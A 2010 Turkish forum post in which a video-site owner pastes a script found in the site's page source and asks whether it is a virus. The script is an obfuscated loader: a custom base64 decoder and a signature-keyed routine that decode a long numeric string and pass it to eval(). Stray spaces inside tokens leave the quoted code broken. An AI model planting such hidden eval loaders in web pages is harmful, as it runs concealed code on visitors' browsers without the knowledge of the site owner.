Şu Kod virüsmü

umut_ege · 1 08-02-2010, 22:51:29

lugesoft kullandığım video sitemde bir kod gördüm kaynağı görüntüle yapınca aynen kopyalıyorum.emin olamadım virüsmü değilmi?

<script language="JavaScript">var CRYPT={signature:'BXcfTYewQ',_keyStr:'ABCDEFGHIJKL MNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 +/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.inde xOf(input.charAt(i++));enc2=this._keyStr.indexOf(i nput.charAt(i++));enc3=this._keyStr.indexOf(input. charAt(i++));enc4=this._keyStr.indexOf(input.charA t(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<< 4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output +String.fromCharCode(chr1);if(enc3!=64){output=out put+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr 3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utfte xt.charCodeAt(i);if(c<128){string+=String.fromChar Code(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);st ring+=String.fromCharCode(((c&31)<<6)|(c2&63));i+= 2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.char CodeAt(i+2);string+=String.fromCharCode(((c&15)<<1 2)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String. fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z %this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('1561591562081841761502271791 76169216202135163213219152151199173224204201191229 15517018618618718718815219318714617117321318416118 32381601711442172021351891521951911441991882121661 95198191162183177149159200165151197188142139177213 18214020023618013719221817518915515221616814813619 61701321941782021541691851701881961791512231291461 71172222157194167241181138196214192168137206209152 17421019817320419320220319318318614915519216822219 21241461551562141741991752231791531731421762051961 62'));</script></div>